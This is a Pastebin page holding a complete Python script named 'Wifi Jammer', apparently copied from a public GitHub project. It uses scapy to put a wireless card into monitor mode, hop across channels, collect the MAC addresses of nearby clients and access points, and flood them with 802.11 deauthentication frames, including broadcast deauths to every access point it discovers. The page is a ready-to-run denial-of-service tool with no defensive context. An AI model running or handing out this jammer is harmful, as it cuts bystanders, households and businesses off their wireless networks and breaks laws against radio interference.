Advertisement
metalx1000

Wifi Jammer

Jun 20th, 2016
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 16.17 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #Code from:
  3. #https://github.com/DanMcInerney/wifijammer
  4. #Be sure to disconnect from network before running script
  5.  
  6. import logging
  7. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up Scapy
  8. from scapy.all import *
  9. conf.verb = 0 # Scapy I thought I told you to shut up
  10. import os
  11. import sys
  12. import time
  13. from threading import Thread, Lock
  14. from subprocess import Popen, PIPE
  15. from signal import SIGINT, signal
  16. import argparse
  17. import socket
  18. import struct
  19. import fcntl
  20.  
  21. # Console colors
  22. W  = '\033[0m'  # white (normal)
  23. R  = '\033[31m' # red
  24. G  = '\033[32m' # green
  25. O  = '\033[33m' # orange
  26. B  = '\033[34m' # blue
  27. P  = '\033[35m' # purple
  28. C  = '\033[36m' # cyan
  29. GR = '\033[37m' # gray
  30. T  = '\033[93m' # tan
  31.  
  32. def parse_args():
  33.     #Create the arguments
  34.     parser = argparse.ArgumentParser()
  35.  
  36.     parser.add_argument("-s",
  37.                         "--skip",
  38.                         help="Skip deauthing this MAC address. \
  39.                                Example: -s 00:11:BB:33:44:AA")
  40.     parser.add_argument("-i",
  41.                         "--interface",
  42.                         help="Choose monitor mode interface. \
  43.                                By default script will find the most powerful \
  44.                                interface and starts monitor mode on it. \
  45.                                Example: -i mon5")
  46.     parser.add_argument("-c",
  47.                         "--channel",
  48.                         help="Listen on and deauth only clients on the specified channel. \
  49.                                Example: -c 6")
  50.     parser.add_argument("-m",
  51.                         "--maximum",
  52.                         help="Choose the maximum number of clients to deauth. \
  53.                                List of clients will be emptied and repopulated \
  54.                                after hitting the limit. Example: -m 5")
  55.     parser.add_argument("-n",
  56.                         "--noupdate",
  57.                         help="Do not clear the deauth list when the maximum (-m) \
  58.                                number of client/AP combos is reached. \
  59.                                Must be used in conjunction with -m. \
  60.                                Example: -m 10 -n",
  61.                         action='store_true')
  62.     parser.add_argument("-t",
  63.                         "--timeinterval",
  64.                         help="Choose the time interval between packets being sent. \
  65.                                Default is as fast as possible. \
  66.                                If you see scapy errors like 'no buffer space' \
  67.                                try: -t .00001")
  68.     parser.add_argument("-p",
  69.                         "--packets",
  70.                         help="Choose the number of packets to send in each deauth burst. \
  71.                                Default value is 1; \
  72.                                1 packet to the client and 1 packet to the AP. \
  73.                                Send 2 deauth packets to the client \
  74.                                and 2 deauth packets to the AP: -p 2")
  75.     parser.add_argument("-d",
  76.                         "--directedonly",
  77.                         help="Skip the deauthentication packets to the broadcast \
  78.                                address of the access points and only send them \
  79.                                to client/AP pairs",
  80.                         action='store_true')
  81.     parser.add_argument("-a",
  82.                         "--accesspoint",
  83.                         help="Enter the MAC address of a specific access point to target")
  84.     parser.add_argument("--world",
  85.                         help="N. American standard is 11 channels but the rest \
  86.                                of the world it's 13 so this options enables the \
  87.                                scanning of 13 channels",
  88.                         action="store_true")
  89.  
  90.     return parser.parse_args()
  91.  
  92.  
  93. ########################################
  94. # Begin interface info and manipulation
  95. ########################################
  96.  
  97. def get_mon_iface(args):
  98.     global monitor_on
  99.     monitors, interfaces = iwconfig()
  100.     if args.interface:
  101.         monitor_on = True
  102.         return args.interface
  103.     if len(monitors) > 0:
  104.         monitor_on = True
  105.         return monitors[0]
  106.     else:
  107.         # Start monitor mode on a wireless interface
  108.         print '['+G+'*'+W+'] Finding the most powerful interface...'
  109.         interface = get_iface(interfaces)
  110.         monmode = start_mon_mode(interface)
  111.         return monmode
  112.  
  113. def iwconfig():
  114.     monitors = []
  115.     interfaces = {}
  116.     try:
  117.         proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  118.     except OSError:
  119.         sys.exit('['+R+'-'+W+'] Could not execute "iwconfig"')
  120.     for line in proc.communicate()[0].split('\n'):
  121.         if len(line) == 0: continue # Isn't an empty string
  122.         if line[0] != ' ': # Doesn't start with space
  123.             wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
  124.             if not wired_search: # Isn't wired
  125.                 iface = line[:line.find(' ')] # is the interface
  126.                 if 'Mode:Monitor' in line:
  127.                     monitors.append(iface)
  128.                 elif 'IEEE 802.11' in line:
  129.                     if "ESSID:\"" in line:
  130.                         interfaces[iface] = 1
  131.                     else:
  132.                         interfaces[iface] = 0
  133.     return monitors, interfaces
  134.  
  135. def get_iface(interfaces):
  136.     scanned_aps = []
  137.  
  138.     if len(interfaces) < 1:
  139.         sys.exit('['+R+'-'+W+'] No wireless interfaces found, bring one up and try again')
  140.     if len(interfaces) == 1:
  141.         for interface in interfaces:
  142.             return interface
  143.  
  144.     # Find most powerful interface
  145.     for iface in interfaces:
  146.         count = 0
  147.         proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
  148.         for line in proc.communicate()[0].split('\n'):
  149.             if ' - Address:' in line: # first line in iwlist scan for a new AP
  150.                count += 1
  151.         scanned_aps.append((count, iface))
  152.         print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W
  153.     try:
  154.         interface = max(scanned_aps)[1]
  155.         return interface
  156.     except Exception as e:
  157.         for iface in interfaces:
  158.             interface = iface
  159.             print '['+R+'-'+W+'] Minor error:',e
  160.             print '    Starting monitor mode on '+G+interface+W
  161.             return interface
  162.  
  163. def start_mon_mode(interface):
  164.     print '['+G+'+'+W+'] Starting monitor mode off '+G+interface+W
  165.     try:
  166.         os.system('ifconfig %s down' % interface)
  167.         os.system('iwconfig %s mode monitor' % interface)
  168.         os.system('ifconfig %s up' % interface)
  169.         return interface
  170.     except Exception:
  171.         sys.exit('['+R+'-'+W+'] Could not start monitor mode')
  172.  
  173. def remove_mon_iface(mon_iface):
  174.     os.system('ifconfig %s down' % mon_iface)
  175.     os.system('iwconfig %s mode managed' % mon_iface)
  176.     os.system('ifconfig %s up' % mon_iface)
  177.  
  178. def mon_mac(mon_iface):
  179.     '''
  180.    http://stackoverflow.com/questions/159137/getting-mac-address
  181.    '''
  182.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  183.     info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
  184.     mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
  185.     print '['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' - '+O+mac+W
  186.     return mac
  187.  
  188. ########################################
  189. # End of interface info and manipulation
  190. ########################################
  191.  
  192.  
  193. def channel_hop(mon_iface, args):
  194.     '''
  195.    First time it runs through the channels it stays on each channel for 5 seconds
  196.    in order to populate the deauth list nicely. After that it goes as fast as it can
  197.    '''
  198.     global monchannel, first_pass
  199.  
  200.     channelNum = 0
  201.     maxChan = 11 if not args.world else 13
  202.     err = None
  203.  
  204.     while 1:
  205.         if args.channel:
  206.             with lock:
  207.                 monchannel = args.channel
  208.         else:
  209.             channelNum +=1
  210.             if channelNum > maxChan:
  211.                 channelNum = 1
  212.                 with lock:
  213.                     first_pass = 0
  214.             with lock:
  215.                 monchannel = str(channelNum)
  216.  
  217.             try:
  218.                 proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
  219.             except OSError:
  220.                 print '['+R+'-'+W+'] Could not execute "iw"'
  221.                 os.kill(os.getpid(),SIGINT)
  222.                 sys.exit(1)
  223.             for line in proc.communicate()[1].split('\n'):
  224.                 if len(line) > 2: # iw dev shouldnt display output unless there's an error
  225.                     err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W
  226.  
  227.         output(err, monchannel)
  228.         if args.channel:
  229.             time.sleep(.05)
  230.         else:
  231.             # For the first channel hop thru, do not deauth
  232.             if first_pass == 1:
  233.                 time.sleep(1)
  234.                 continue
  235.  
  236.         deauth(monchannel)
  237.  
  238.  
  239. def deauth(monchannel):
  240.     '''
  241.    addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
  242.    multi-APs to one gateway. Constantly scans the clients_APs list and
  243.    starts a thread to deauth each instance
  244.    '''
  245.  
  246.     pkts = []
  247.  
  248.     if len(clients_APs) > 0:
  249.         with lock:
  250.             for x in clients_APs:
  251.                 client = x[0]
  252.                 ap = x[1]
  253.                 ch = x[2]
  254.                 # Can't add a RadioTap() layer as the first layer or it's a malformed
  255.                 # Association request packet?
  256.                 # Append the packets to a new list so we don't have to hog the lock
  257.                 # type=0, subtype=12?
  258.                 if ch == monchannel:
  259.                     deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
  260.                     deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
  261.                     pkts.append(deauth_pkt1)
  262.                     pkts.append(deauth_pkt2)
  263.     if len(APs) > 0:
  264.         if not args.directedonly:
  265.             with lock:
  266.                 for a in APs:
  267.                     ap = a[0]
  268.                     ch = a[1]
  269.                     if ch == monchannel:
  270.                         deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
  271.                         pkts.append(deauth_ap)
  272.  
  273.     if len(pkts) > 0:
  274.         # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
  275.         if not args.timeinterval:
  276.             args.timeinterval = 0
  277.         if not args.packets:
  278.             args.packets = 1
  279.  
  280.         for p in pkts:
  281.             send(p, inter=float(args.timeinterval), count=int(args.packets))
  282.  
  283. def output(err, monchannel):
  284.     os.system('clear')
  285.     if err:
  286.         print err
  287.     else:
  288.         print '['+G+'+'+W+'] '+mon_iface+' channel: '+G+monchannel+W+'\n'
  289.     if len(clients_APs) > 0:
  290.         print '                  Deauthing                 ch   ESSID'
  291.     # Print the deauth list
  292.     with lock:
  293.         for ca in clients_APs:
  294.             if len(ca) > 3:
  295.                 print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W
  296.             else:
  297.                 print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2]
  298.     if len(APs) > 0:
  299.         print '\n      Access Points     ch   ESSID'
  300.     with lock:
  301.         for ap in APs:
  302.             print '['+T+'*'+W+'] '+O+ap[0]+W+' - '+ap[1].ljust(2)+' - '+T+ap[2]+W
  303.     print ''
  304.  
  305. def noise_filter(skip, addr1, addr2):
  306.     # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
  307.     ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', mon_MAC]
  308.     if skip:
  309.         ignore.append(skip)
  310.     for i in ignore:
  311.         if i in addr1 or i in addr2:
  312.             return True
  313.  
  314. def cb(pkt):
  315.     '''
  316.    Look for dot11 packets that aren't to or from broadcast address,
  317.    are type 1 or 2 (control, data), and append the addr1 and addr2
  318.    to the list of deauth targets.
  319.    '''
  320.     global clients_APs, APs
  321.  
  322.     # return these if's keeping clients_APs the same or just reset clients_APs?
  323.     # I like the idea of the tool repopulating the variable more
  324.     if args.maximum:
  325.         if args.noupdate:
  326.             if len(clients_APs) > int(args.maximum):
  327.                 return
  328.         else:
  329.             if len(clients_APs) > int(args.maximum):
  330.                 with lock:
  331.                     clients_APs = []
  332.                     APs = []
  333.  
  334.     # We're adding the AP and channel to the deauth list at time of creation rather
  335.     # than updating on the fly in order to avoid costly for loops that require a lock
  336.     if pkt.haslayer(Dot11):
  337.         if pkt.addr1 and pkt.addr2:
  338.             pkt.addr1 = pkt.addr1.lower()
  339.             pkt.addr2 = pkt.addr2.lower()
  340.  
  341.             # Filter out all other APs and clients if asked
  342.             if args.accesspoint:
  343.                 if args.accesspoint.lower() not in [pkt.addr1, pkt.addr2]:
  344.                     return
  345.  
  346.             if args.skip:
  347.                 if args.skip.lower() == pkt.addr2:
  348.                     return
  349.  
  350.             # Check if it's added to our AP list
  351.             if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
  352.                 APs_add(clients_APs, APs, pkt, args.channel, args.world)
  353.  
  354.             # Ignore all the noisy packets like spanning tree
  355.  
  356.             #if noise_filter(skip, pkt.addr1, pkt.addr2):
  357.             #    return
  358.  
  359.             # Management = 1, data = 2
  360.             if pkt.type in [1, 2]:
  361.                 clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
  362.  
  363. def APs_add(clients_APs, APs, pkt, chan_arg, world_arg):
  364.     ssid       = pkt[Dot11Elt].info
  365.     bssid      = pkt[Dot11].addr3.lower()
  366.     try:
  367.         # Thanks to airoscapy for below
  368.         ap_channel = str(ord(pkt[Dot11Elt:3].info))
  369.         chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11'] if not args.world else ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13']
  370.         if ap_channel not in chans:
  371.             return
  372.  
  373.         if chan_arg:
  374.             if ap_channel != chan_arg:
  375.                 return
  376.  
  377.     except Exception as e:
  378.         return
  379.  
  380.     if len(APs) == 0:
  381.         with lock:
  382.             return APs.append([bssid, ap_channel, ssid])
  383.     else:
  384.         for b in APs:
  385.             if bssid in b[0]:
  386.                 return
  387.         with lock:
  388.             return APs.append([bssid, ap_channel, ssid])
  389.  
  390. def clients_APs_add(clients_APs, addr1, addr2):
  391.     if len(clients_APs) == 0:
  392.         if len(APs) == 0:
  393.             with lock:
  394.                 return clients_APs.append([addr1, addr2, monchannel])
  395.         else:
  396.             AP_check(addr1, addr2)
  397.  
  398.     # Append new clients/APs if they're not in the list
  399.     else:
  400.         for ca in clients_APs:
  401.             if addr1 in ca and addr2 in ca:
  402.                 return
  403.  
  404.         if len(APs) > 0:
  405.             return AP_check(addr1, addr2)
  406.         else:
  407.             with lock:
  408.                 return clients_APs.append([addr1, addr2, monchannel])
  409.  
  410. def AP_check(addr1, addr2):
  411.     for ap in APs:
  412.         if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
  413.             with lock:
  414.                 return clients_APs.append([addr1, addr2, ap[1], ap[2]])
  415.  
  416. def stop(signal, frame):
  417.     if monitor_on:
  418.         sys.exit('\n['+R+'!'+W+'] Closing')
  419.     else:
  420.         remove_mon_iface(mon_iface)
  421.         os.system('service network-manager restart')
  422.         sys.exit('\n['+R+'!'+W+'] Closing')
  423.  
  424. if __name__ == "__main__":
  425.     if os.geteuid():
  426.         sys.exit('['+R+'-'+W+'] Please run as root')
  427.     clients_APs = []
  428.     APs = []
  429.     DN = open(os.devnull, 'w')
  430.     lock = Lock()
  431.     args = parse_args()
  432.     monitor_on = None
  433.     mon_iface = get_mon_iface(args)
  434.     conf.iface = mon_iface
  435.     mon_MAC = mon_mac(mon_iface)
  436.     first_pass = 1
  437.  
  438.     # Start channel hopping
  439.     hop = Thread(target=channel_hop, args=(mon_iface, args))
  440.     hop.daemon = True
  441.     hop.start()
  442.  
  443.     signal(SIGINT, stop)
  444.  
  445.     try:
  446.        sniff(iface=mon_iface, store=0, prn=cb)
  447.     except Exception as msg:
  448.         remove_mon_iface(mon_iface)
  449.         os.system('service network-manager restart')
  450.         print '\n['+R+'!'+W+'] Closing'
  451.         sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement